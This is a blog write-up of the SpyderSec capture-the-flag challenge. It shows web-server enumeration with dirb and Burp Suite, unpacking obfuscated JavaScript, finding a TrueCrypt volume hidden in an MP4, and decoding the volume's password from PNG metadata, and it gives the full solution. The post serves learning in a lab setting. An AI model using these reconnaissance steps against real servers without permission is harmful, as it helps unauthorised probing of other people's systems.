       `!> !!!! !!!!!!!!!!!!!!!!!!!!!' $$FF"??$$$$$$$P   J$$$$$    ,c$$
        `  !!' <!!!!!!!!!!!!!!!!!!!!  <$$    J$$$$$$$ J$.<$$$$P ,",$$$"
           !!  `'!!!!!!!!!!!!!!!!!' zcd$F zc,`?$$$$$'J$$h $$$$F  <$$$F
            .,cc,,. ``<!!!!!!!!!! .J$$$$ <$$$h $$$$$ $$$F<$$$$   $$$"
          .J$$$$$$$$cc, `'!!!!'  z$$$$$$ <$$$$,?$$$$ "`?F<$$$F -c$$"
         J$""   """?$$$$c, `` ,c$$$$$$$$L`$???><$$$$.    ")$$.. "?.
         $$z$$$c,.   `?$$$h. J$$$$$$$$$$$,     J$$$$$    ?$$$$$$h.
         $$$$$$$$$$$c,  `"$$c $$$$$$Cc==='    z$$P"",ccdcc ??""$$$,
         `$$$$$$$$$$$$$c  "$$hJ$$$$$$Ccccccccc$$FF<$$$$$$$ . .,$$$>
          `$$$$$$$$$$$$$ ?."$$$$$$$$$$$$$$$$$$$ zJ$$$$$P" ,",$$$$$'
            "$$$$$$$$$$$ `$c$$$$$$$$$$$PPPP??".. """""_,=".J$$$$P'
              "$$$$$$$$$$. ?"J$$$$$$"     =cc$$$$ccc$??' J$$$P"
                "?$$$$$$$$hJ $$$$$$Licc,   `"""???"""   zP""'
                   `"?$$$$$$ $$$$$$$$$$$h.  ..         J"
                 ;!>; `$$$$$ `$$$$$$$$$F?$c  <!; ;;;   F
                ;!!!' ,  "?" ,;;.`"?????- `"=.`'''''`,"
                !!!! <!!!- ;!!!!!!;  .,.,,,. `"====="
                !!!! `'` > ,;. ``<!!, "$$$$$F ;;
                `!!!;,,;; ;!!!!>;.`!!>,"?$$" ;!!
                 ``'''``  !'''!!!!><!!!;, "  <!!  !>
                         '`    `'!!!!!!!!!>;;;,,;!!!
                                  `!!!!!!!!!!!!!!!''
                                   ``!!!!!!;,.``,,
                                      `<!!!!!!!!!!
                                         ```<!!!'

bash-4.2#

Done!

SpyderSec: Challenge

I can’t believe it’s been nine months since my last post. I must have been busy. Or lazy.

Just as well I recently completed SpyderSec‘s nice little X-Files themed encryption challenge to get me out of my blog funk.

This was a really fun one, and totally worth a look if you’re interested in video steganography. This is a walkthrough to how I completed the challenge, so if you fancy trying yourself look away now.

Flag #1

The challenge spec already makes clear that this is a web application challenge and a full nmap TCP scan confirmed that only port 80 was open. The web page served doesn’t reveal too much:

Website front page

Just in case an administrator left some content or administration pages open, I scanned the host with dirb.

root@worry64:~/work/spyder# dirb http://192.168.57.8/

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Tue Oct6 19:57:56 2015
URL_BASE: http://192.168.57.8/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.57.8/ ----
+ http://192.168.57.8/favicon.ico (CODE:200|SIZE:1150)
+ http://192.168.57.8/index.php (CODE:200|SIZE:8883)
==> DIRECTORY: http://192.168.57.8/v/

---- Entering directory: http://192.168.57.8/v/ ----

-----------------
END_TIME: Tue Oct6 19:58:48 2015
DOWNLOADED: 9224 - FOUND: 2

Search turns up a /v/ directory, but this is Forbidden.

Looking at the html source of the page reveals some packed JavaScript:

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('7:0:1:2:8:6:3:5:4:0:a:1:2:d:c:b:f:3:9:e',16,16,'6c|65|72|27|75|6d|28|61|74|29|64|62|66|2e|3b|69'.split('|'),0,{}))

You can dump this packed program into one of a few public JavaScript unpackers, but I wanted to see if it would evaluate fine in nodejs, which it did:

root@worry64:~# js
> function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('7:0:1:2:8:6:3:5:4:0:a:1:2:d:c:b:f:3:9:e',16,16,'6c|65|72|27|75|6d|28|61|74|29|64|62|66|2e|3b|69'.split('|'),0,{})
'61:6c:65:72:74:28:27:6d:75:6c:64:65:72:2e:66:62:69:27:29:3b'

The hex values appeared to be ASCII characters, so I tried converting to a string and got some interesting output:

root@worry64:~# echo 61:6c:65:72:74:28:27:6d:75:6c:64:65:72:2e:66:62:69:27:29:3b | sed 's/://g' | xxd -r -ps -
alert('mulder.fbi');

I wasn’t sure what to make of “muder.fbi” at this point. Plugging it into the dirb search didn’t turn up any hidden content.

Plugging away at the page for a while, I turned to look at the logs of the requests I had made in BurpSuite. I noticed that the page was including a cookie and that it mentioned a URI:

HTTP/1.1 200 OK
Date: Tue, 06 Oct 2015 08:52:02 GMT
Server: Apache
Set-Cookie: URI=%2Fv%2F81JHPbvyEQ8729161jd6aKQ0N4%2F; expires=Wed, 07-Oct-2015 08:52:02 GMT; path=/; httponly
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 8883

I already knew of the /v/ directory, so it stood that there was a good chance I would find something interesting if I accessed this location directly. However, I found disappointment in the fact that the URI was also a forbidden location:

HTTP/1.1 403 Forbidden
Date: Tue, 06 Oct 2015 08:56:22 GMT
Server: Apache
Content-Length: 293
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /v/81JHPbvyEQ8729161jd6aKQ0N4/
on this server.</p>
<hr>
<address>Apache Server at 192.168.57.8 Port 80</address>
</body></html>

The challenge was beginning to feel very much like a hidden data exercise. I tried plugging various strings I had captured into the web server to see if I could find something. I can’t remember how long it took, but eventually putting the URI together with ‘mulder.fbi’ caused the web server to offer me a 13MB file:

root@worry64:/tmp# wget http://192.168.57.8/v/81JHPbvyEQ8729161jd6aKQ0N4/mulder.fbi
--2015-11-09 23:16:52--  http://192.168.57.8/v/81JHPbvyEQ8729161jd6aKQ0N4/mulder.fbi
Connecting to 192.168.57.8:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13960421 (13M) [text/plain]
Saving to: ‘mulder.fbi’

mulder.fbi                                           100%[=======================================================================================================================>]  13.31M  12.5MB/s   in 1.1s

2015-11-09 23:16:53 (12.5 MB/s) - ‘mulder.fbi’ saved [13960421/13960421]

A cursory examination of the file showed it as a video file.

root@worry64:~/work/spyder# file mulder.fbi
mulder.fbi: ISO Media, MP4 v2 [ISO 14496-14]

Flag #2: Kill Switch

The video turned out to be a song with lyrics slides. (The song incidentally is a reference to an episode of The X-Files – I had to look that up.)

At this point I figured that there was something hidden in the video file. Hidden data – particularly where video is concerned – is really not my strong suit. I searched the file for strings (which didn’t help) and for container metadata (didn’t find any). On a hunch I decided to run the file through a video processor. I asked the program to make a direct stream copy of the audio and video, meaning that the whole content would be copied without recompression into a new file. If there was any hidden data in the file, it might reveal a difference in file size.

root@worry64:~/work/spyder# ls -la mulder.fbi
-rw-r--r-- 1 root root 13960421 Oct  6 20:02 mulder.fbi
me@me:~/Desktop$ ffmpeg -i mulder.fbi -codec copy out.mp4
ffmpeg version 2.5.8-0ubuntu0.15.04.1 Copyright (c) 2000-2015 the FFmpeg developers
  built with gcc 4.9.2 (Ubuntu 4.9.2-10ubuntu13)
  configuration: --prefix=/usr --extra-version=0ubuntu0.15.04.1 --build-suffix=-ffmpeg --toolchain=hardened --libdir=/usr/lib/x86_64-linux-gnu --shlibdir=/usr/lib/x86_64-linux-gnu --incdir=/usr/include/x86_64-linux-gnu --enable-gpl --enable-shared --disable-stripping --enable-avresample --enable-avisynth --enable-ladspa --enable-libass --enable-libbluray --enable-libbs2b --enable-libcaca --enable-libcdio --enable-libflite --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libgme --enable-libgsm --enable-libmodplug --enable-libmp3lame --enable-libopenjpeg --enable-libopus --enable-libpulse --enable-libschroedinger --enable-libshine --enable-libspeex --enable-libssh --enable-libtheora --enable-libtwolame --enable-libvorbis --enable-libwavpack --enable-libwebp --enable-libxvid --enable-opengl --enable-x11grab --enable-libdc1394 --enable-libiec61883 --enable-libzvbi --enable-libzmq --enable-frei0r --enable-libvpx --enable-libx264 --enable-libsoxr --enable-gnutls --enable-openal --enable-libopencv --enable-librtmp --enable-libx265
  libavutil      54. 15.100 / 54. 15.100
  libavcodec     56. 13.100 / 56. 13.100
  libavformat    56. 15.102 / 56. 15.102
  libavdevice    56.  3.100 / 56.  3.100
  libavfilter     5.  2.103 /  5.  2.103
  libavresample   2.  1.  0 /  2.  1.  0
  libswscale      3.  1.101 /  3.  1.101
  libswresample   1.  1.100 /  1.  1.100
  libpostproc    53.  3.100 / 53.  3.100
[h264 @ 0x1c6da40] AVC: nal size -1892486350
[h264 @ 0x1c6da40] no frame!
[h264 @ 0x1c6da40] AVC: nal size 255724199
[h264 @ 0x1c6da40] no frame!
[h264 @ 0x1c6da40] AVC: nal size 1346868359
[h264 @ 0x1c6da40] no frame!
[h264 @ 0x1c6da40] AVC: nal size -1492585362
[h264 @ 0x1c6da40] no frame!
[h264 @ 0x1c6da40] AVC: nal size -550881863
[h264 @ 0x1c6da40] no frame!
[h264 @ 0x1c6da40] AVC: nal size -922972230
[h264 @ 0x1c6da40] no frame!
[h264 @ 0x1c6da40] AVC: nal size 1259521664
[h264 @ 0x1c6da40] no frame!
[h264 @ 0x1c6da40] AVC: nal size 2031147485
[h264 @ 0x1c6da40] no frame!
[h264 @ 0x1c6da40] AVC: nal size -477496776
[h264 @ 0x1c6da40] no frame!
[h264 @ 0x1c6da40] AVC: nal size -235462333
[h264 @ 0x1c6da40] no frame!
[h264 @ 0x1c6da40] AVC: nal size 275654111
[h264 @ 0x1c6da40] no frame!
[h264 @ 0x1c6da40] AVC: nal size -1078662316
[h264 @ 0x1c6da40] no frame!
[h264 @ 0x1c6da40] AVC: nal size 1744092848
[h264 @ 0x1c6da40] no frame!
Input #0, mov,mp4,m4a,3gp,3g2,mj2, from 'mulder.fbi':
  Metadata:
    major_brand     : mp42
    minor_version   : 0
    compatible_brands: isommp42
    creation_time   : 2013-12-08 02:32:33
  Duration: 00:02:47.53, start: 0.000000, bitrate: 666 kb/s
    Stream #0:0(und): Video: h264 (Constrained Baseline) (avc1 / 0x31637661), yuv420p, 640x360, 223 kb/s, 25 fps, 25 tbr, 50 tbn, 50 tbc (default)
    Metadata:
      handler_name    : VideoHandler
    Stream #0:1(und): Audio: aac (LC) (mp4a / 0x6134706D), 44100 Hz, stereo, fltp, 95 kb/s (default)
    Metadata:
      creation_time   : 2013-12-08 02:32:33
      handler_name    : IsoMedia File Produced by Google, 5-11-2011
Output #0, mp4, to 'out.mp4':
  Metadata:
    major_brand     : mp42
    minor_version   : 0
    compatible_brands: isommp42
    encoder         : Lavf56.15.102
    Stream #0:0(und)ice: Video: h264 ([33][0][0][0] / 0x0021), yuv420p, 640x360, q=2-31, 223 kb/s, 25 fps, 12800 tbn, 50 tbc (default)
    Metadata:
      handler_name    : VideoHandler
    Stream #0:1(und): Audio: aac ([64][0][0][0] / 0x0040), 44100 Hz, stereo, 95 kb/s (default)
    Metadata:
      creation_time   : 2013-12-08 02:32:33
      handler_name    : IsoMedia File Produced by Google, 5-11-2011
Stream mapping:
  Stream #0:0 -> #0:0 (copy)
  Stream #0:1 -> #0:1 (copy)
Press [q] to stop, [?] for help
frame= 4188 fps=0.0 q=-1.0 Lsize=    6648kB time=00:02:47.53 bitrate= 325.1kbits/s
video:4578kB audio:1963kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: 1.621213%

me@me:~/Desktop$ ls -l out.mp4
-rw-rw-r-- 1 me me 6807163 Oct  6 20:57 out.mp4

Several megabytes of data were missing from the stream copy, but the file played exactly the same; a strong indication that there was data to be found in the file. Since the data was not part of the video and audio streams, I felt I had a chance with this. (If the data had been hidden as data in the streams themselves then my chances of success would have been much lower.)

Still, I don’t really know much about video container formats, so I took the least resistance path and did some web searches first of all. Actually, doing a search for “hide data in mp4 video” turns up some pretty interesting stuff immediately. (That link is seriously worth a read if you’re interested.)

Working on the hunch that the video file contains a TrueCrypt encrypted volume, the challenge essentially becomes “find the correct password”. And the thing about TrueCrypt volumes is that they’re practically indiscernible from random data. All you can do is keep trying passwords until one works and even if you never find one that works, you will never know whether the data is actually random or you’ve just not found the correct password.

Anyway, you probably know where this is going. Eventually (too long) I found the password. I can’t remember exactly when I turned my attention to the website images (I had already gone over the BurpSuite logs several times to no avail, and was considering writing or searching for a tool to automate TrueCrypt password attempts) when I dumped the webpage content and started looking for strings.

The password was hidden in the metadata in the following file:

SpyderSec Challenge.png

root@worry64:~/work/spydersec/SpyderSec | Challenge_files# exiftool Challenge.png
ExifTool Version Number         : 9.74
File Name                       : Challenge.png
Directory                       : .
File Size                       : 83 kB
File Modification Date/Time     : 2015:10:06 21:17:08+01:00
File Access Date/Time           : 2015:11:09 23:44:54+00:00
File Inode Change Date/Time     : 2015:10:06 21:17:08+01:00
File Permissions                : rw-r--r--
File Type                       : PNG
MIME Type                       : image/png
Image Width                     : 540
Image Height                    : 540
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Background Color                : 255 255 255
Pixels Per Unit X               : 2835
Pixels Per Unit Y               : 2835
Pixel Units                     : meters
Comment                         : 35:31:3a:35:33:3a:34:36:3a:35:37:3a:36:34:3a:35:38:3a:33:35:3a:37:31:3a:36:34:3a:34:35:3a:36:37:3a:36:61:3a:34:65:3a:37:61:3a:34:39:3a:33:35:3a:36:33:3a:33:30:3a:37:38:3a:34:32:3a:34:66:3a:33:32:3a:36:37:3a:33:30:3a:34:61:3a:35:31:3a:33:64:3a:33:64
Image Size                      : 540x540
root@worry64:~/work/spydersec/SpyderSec | Challenge_files# echo 35:31:3a:35:33:3a:34:36:3a:35:37:3a:36:34:3a:35:38:3a:33:35:3a:37:31:3a:36:34:3a:34:35:3a:36:37:3a:36:61:3a:34:65:3a:37:61:3a:34:39:3a:33:35:3a:36:33:3a:33:30:3a:37:38:3a:34:32:3a:34:66:3a:33:32:3a:36:37:3a:33:30:3a:34:61:3a:35:31:3a:33:64:3a:33:64 | sed 's/://g' | xxd -r -ps -
51:53:46:57:64:58:35:71:64:45:67:6a:4e:7a:49:35:63:30:78:42:4f:32:67:30:4a:51:3d:3d
root@worry64:~/work/spydersec/SpyderSec | Challenge_files# echo 51:53:46:57:64:58:35:71:64:45:67:6a:4e:7a:49:35:63:30:78:42:4f:32:67:30:4a:51:3d:3d | sed 's/://g' | xxd -r -ps -
QSFWdX5qdEgjNzI5c0xBO2g0JQ==
root@worry64:~/work/spydersec/SpyderSec | Challenge_files# echo QSFWdX5qdEgjNzI5c0xBO2g0JQ== | base64 -d
A!Vu~jtH#729sLA;h4%
root@worry64:~/work/spydersec/SpyderSec | Challenge_files#

And there we have it. The TrueCrypt password is A!Vu~jtH#729sLA;h4%. After that, getting to the final flag is a breeze…

SpyderSec TyueCrypt password

SpyderSec TrueCrypt volume mounted successfully

SpyderSec challenge completed